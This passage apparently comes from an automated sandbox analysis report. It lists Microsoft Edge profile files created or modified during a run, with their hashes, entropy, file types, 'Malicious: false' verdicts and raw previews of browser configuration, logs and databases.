SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6720F0D7-1FE0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44012714992043134
Encrypted:	false
SSDEEP:	3072:CESb2/k5KNr71Rlu2QHLvhFmFSuE/fMwlqG46nt/gNPsg1HF1o:S2tR71Du2OLHeafdq16nt/gNPsaHHo
MD5:	24F251140C58CEA3C51FC89FA04EB893
SHA1:	B6882A8CD95E189F9351D497E7D6E7510D617281
SHA-256:	094CD3D7627EF58C519BA2F1FACB2D99D410E192978729953D7468FE7AF34A38
SHA-512:	125B7D163F588B354F567E9161C16B6468A7F87EE0D71DA9352DB80F7A7143C065D086B600C869F32B6832DD47FCC4ECB1E86715842A7F612C52FECBC29B5AD8
Malicious:	false
Preview:	...@..@...@.....C.].....@...................X...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q..........117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vyeila20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............."..................3...w..U?:K...G...W6.>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z........3@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....triggered...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.141743384271702
Encrypted:	false
SSDEEP:	3:FiWWltlcUz2AIHSRqOFhJXI2EyBl+BVP/Sh/JzvUl6/7HJW1EAl:o1cUFIyRqsx+BVsJDUqJWB
MD5:	C938131E2B12655311091CF901A4B5E2
SHA1:	D394A2A74F98492474E29F7794D4C716AEB10D47
SHA-256:	DEEE9CB129DD2C78E19CD469503456D0D38D99DAD17E47BCEB973FBFC2B05F57
SHA-512:	415CBA39655121BD1A97F61D013F55A13AFF4A152F1676FE3D59B4EA6575F3423AB2324DB2511E2F2B26338B210A7DF9A285AD0A12B8C2DD1F51731C802AAF95
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."1SCRpGKHAwpF5kOwXUUSc/ojBrTkNG2SgkvqW1WE7kI="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................066bcffa-cd7b-406d-ab15-9e4963be6d6e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2a9e5e16-056d-4585-8761-262e17efc232.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\338e2d6a-f86c-405c-b3bd-ce7538f18197.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17185), with no line terminators
Category:	dropped
Size (bytes):	17185
Entropy (8bit):	5.482735063218079
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrEAhkdwHdL/gKLklql7Le8jbV+F8mQwKJ39z:st4LA3u4HsmECDVfHOYbbGJQwk3p
MD5:	23FC8AEC06B2B819189D5790E0E33F3A
SHA1:	4878A7F7D14B95F392BEFCB770708E45DCFC2D73
SHA-256:	E034E7815F96B9E3DC40D23A8568116095AA86958F0C2C2797010707E01B7D20
SHA-512:	B1689AB08C27E1AE7FCA1C84889F78399EB045BEC5CBF26A337C62C59981797F098FFFFB07480FB9AD24BB649419D2ADD38283A73078A237DCA595CE0F08DED0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\66fbc10e-7638-4c79-bd04-58947678a0d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	34635
Entropy (8bit):	5.5606183696260745
Encrypted:	false
SSDEEP:	768:Qksp6DWAmW5wPTf4ct8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPURIKng5rwXZb5ZDA:QbcDJmWaPTfdtu1jaHhgKJb1itr
MD5:	0ACE5982D99FF9E7C97FCF50C72EA8A8
SHA1:	6E8866CBA772E10C4826A9F32005171BA7AA91AF
SHA-256:	057920247A274AB98960542FD87D4F101A7BDA5AEBAA221EAAF3B9334EE09EFC
SHA-512:	23E39DEEA7BC4E476627859533841A1670DE7981C52C7219FF3A55E7076419A1E10D8125AB876A659993861D237DF7248AAD97770D3640565C7969A946D5B725
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374685655739720","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374685655739720","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\823a9633-a1b2-4c09-8201-695b33827f72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17185), with no line terminators
Category:	modified
Size (bytes):	17185
Entropy (8bit):	5.48265865794357
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrEAhkdwHdL/gKLklql7Le8jbV+F8mQwKK39z:st4LA3u4HsmECDVfHOYbbGJQwH3p
MD5:	376C54BD35A9987FCA506E929E59D308
SHA1:	D0C35272FAC4FADA7EF5C5E4C9DAC9ABF086CB39
SHA-256:	E9E0988522FC19733DAB6885FD3CABD4E1C655B92BF6CC11A29D1E1E82F544AC
SHA-512:	F8B77E8D4A918A6DBFC63928A616855025936441D4E40BA81BCA87A6AD6A9AC185C8ED525DF47EFBB573AD803C1E7C6EE5485B03186CF5986A17B3A5D17EB2A4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222862337165748
Encrypted:	false
SSDEEP:	24576:IbPMZpVifI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVifx2mjF
MD5:	85140910DB6B4C09D436E409465D856D
SHA1:	2B44877CA69AE1837EEA6DA0FAD586D7BFDA03A1
SHA-256:	FB183FF0A0AFF793B35534BAF2BB56B6232A7DD172EE75742E38F8FE37D39239
SHA-512:	3308B4BE02ED4EF3B54BD5D4B5D2392BC02DE25F9CAE1557664BA763143788E8E2ED57C2D164DDF8F3515E7FA12B08E1BAF27EBA13E1429C3C335F55FB41D731
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.0482842656088724
Encrypted:	false
SSDEEP:	6:PBAQyq2PN723oH+Tcwt9Eh1tIFUt8chNAG1Zmw+cvCAQRkwON723oH+Tcwt9Eh1H:JAVvVaYeb9Eh16FUt8QAG1/+5AI5OaYf
MD5:	92EC505CF2789E321DEB6AD33AE1A271
SHA1:	3DEB4D416E11DE61F440FF50A813A1574561C39C
SHA-256:	BF237402B545977C0A866F84937D5217BED00C4E29AEB5CA209492304F7AB56D
SHA-512:	16E6F2078C91C0ECD2CDF7BA96934C90414931CAA379FE0EBB9FA85117CAAD4F2F9174DD4E61D3EEB28E9482AEB9CD8834AE8E3760C7DFC83B4460EC0A28BE1A
Malicious:	false
Preview:	2024/10/29-10:27:42.040 20c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-10:27:42.042 20c4 Recovering log #3.2024/10/29-10:27:42.052 20c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.0482842656088724
Encrypted:	false
SSDEEP:	6:PBAQyq2PN723oH+Tcwt9Eh1tIFUt8chNAG1Zmw+cvCAQRkwON723oH+Tcwt9Eh1H:JAVvVaYeb9Eh16FUt8QAG1/+5AI5OaYf
MD5:	92EC505CF2789E321DEB6AD33AE1A271
SHA1:	3DEB4D416E11DE61F440FF50A813A1574561C39C
SHA-256:	BF237402B545977C0A866F84937D5217BED00C4E29AEB5CA209492304F7AB56D
SHA-512:	16E6F2078C91C0ECD2CDF7BA96934C90414931CAA379FE0EBB9FA85117CAAD4F2F9174DD4E61D3EEB28E9482AEB9CD8834AE8E3760C7DFC83B4460EC0A28BE1A
Malicious:	false
Preview:	2024/10/29-10:27:42.040 20c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-10:27:42.042 20c4 Recovering log #3.2024/10/29-10:27:42.052 20c4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46313002190113034
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuLyO:TouQq3qh7z3bY2LNW9WMcUvBuWO
MD5:	4121F047FC7E90520DC6749D2FCFA128
SHA1:	6273FAF152F727AAC6D79E2CF4A17C56E48E93A3
SHA-256:	76C0B81FDA0FA6498CD904CD6EDD0A579FEA8C242B0F6FFEC82D3ED19B6ED3A8
SHA-512:	22369A6024CD6756DE5C59764333818A8C3EA48D040D6A40540987B86442739C9180173387EEDEE90AE3AEAAAEE8463793CB77013F3B41D4FAEE0962518995A8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.236957154713486
Encrypted:	false
SSDEEP:	6:P6Hi+q2PN723oH+TcwtnG2tMsIFUt8chGFZZmw+cNVkwON723oH+TcwtnG2tMsLJ:yHi+vVaYebn9GFUt8om/+OV5OaYebn9b
MD5:	50C2819F12DEF81E06A0AA0A7882DA17
SHA1:	3421721951EF88EA08070519512DC988AAD0AAA1
SHA-256:	C0FD6E134F5075520BF6484C7F9F96B0A1281179FDF38D0643187964DBEBB31A
SHA-512:	757959D667ABF60DA72B50A47B1BE31C5E71801019AA90C646040E4396EEE8E4FC8A5F94D41C165F4B426CBB68E2B055D3F46458BAEA61140076DCEEF3B44267
Malicious:	false
Preview:	2024/10/29-10:27:35.872 1bbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-10:27:35.873 1bbc Recovering log #3.2024/10/29-10:27:35.874 1bbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.236957154713486
Encrypted:	false
SSDEEP:	6:P6Hi+q2PN723oH+TcwtnG2tMsIFUt8chGFZZmw+cNVkwON723oH+TcwtnG2tMsLJ:yHi+vVaYebn9GFUt8om/+OV5OaYebn9b
MD5:	50C2819F12DEF81E06A0AA0A7882DA17
SHA1:	3421721951EF88EA08070519512DC988AAD0AAA1
SHA-256:	C0FD6E134F5075520BF6484C7F9F96B0A1281179FDF38D0643187964DBEBB31A
SHA-512:	757959D667ABF60DA72B50A47B1BE31C5E71801019AA90C646040E4396EEE8E4FC8A5F94D41C165F4B426CBB68E2B055D3F46458BAEA61140076DCEEF3B44267
Malicious:	false
Preview:	2024/10/29-10:27:35.872 1bbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-10:27:35.873 1bbc Recovering log #3.2024/10/29-10:27:35.874 1bbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6142900278773088
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jNq0p+XmL:TO8D4jJ/6Up+5
MD5:	B870312D8ACA98CD824CBFBC14BBE5BB
SHA1:	04804A7533219EEEE1850E4E5B4C88170DD9901F
SHA-256:	AB42D90E11719765AA8C8F0A46CF7CC34FB14E4A4FC7BB780D22F08F3CED011E
SHA-512:	DE2F7D51EEA20FAD585360E95E91F55CEDE824FE1EF8885C46D8A0BD93D8391F68634334D39DEBE65C58FE2DC3FE76415E9441EEC4181328C3C5EAC9C6612337
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354107410056424
Encrypted:	false
SSDEEP:	6144:gA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:gFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	9B837E9BB738CD71CA7B3BC4A8BB7B2C
SHA1:	2753DA2B2B1B8EACD57464D8A2D3FC049C860B2E
SHA-256:	F7AD7B8149AA491CE5B009828B20CEA5A7A18704DB1D082EF99FD2CABEABC259
SHA-512:	A4C3AF2C57E006CADE43D9F46FD2939FF759E97CF17F6FEB839A8F123C7D728B1EC66079E849492AE0B967551DB1AC4030F74EAFA5DE44FCA3A37D30933E7B28
Malicious:	false
Preview:	...m.................DB_VERSION.1.E._q...............&QUERY_TIMESTAMP:domains_config_gz2...13374685663599316..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.112451788300934
Encrypted:	false
SSDEEP:	6:PcFDSM1N723oH+Tcwtk2WwnvB2KLl1Pq2PN723oH+Tcwtk2WwnvIFUv:kFDSsaYebkxwnvFLvvVaYebkxwnQFUv
MD5:	A9432FD57D0808C4602E68A467250083
SHA1:	8F44C52870950FBFD96A7D53AE3790DE4105D978
SHA-256:	A5F81AEA35E2E7F5BB80D963000B38FA1F07EB54097625A5EF6D5D668EDA6EA1
SHA-512:	BE4B48AB833CD3D4B997EFB044159D0A2A5A3830CFE3EC2F1DA10D176F228C04A5B34CB5F5BF29B02FAC6E551CBBE3080B0E0749294D0D67815E81AEAB00DAE2
Malicious:	false
Preview:	2024/10/29-10:27:42.035 20f4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/29-10:27:42.424 20f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324604196410765
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RF:C1gAg1zfvd
MD5:	705977A037A54355150861E583DEF970
SHA1:	681182B9C77752584E0398DC9BE2F9D6D952066F
SHA-256:	B698738E436663DD2376FECD94F90FE5FC72E73E714A30525CF0D741B65917E1
SHA-512:	53623663BCE773CC91B9A691AFE20224A638D2FEFED355EEA3B16D0D71C7A946CC593550733BE9C3B5FDB79E0646F2AF1713BF5ECB9260417690994A5BCEB8C0
Malicious:	false
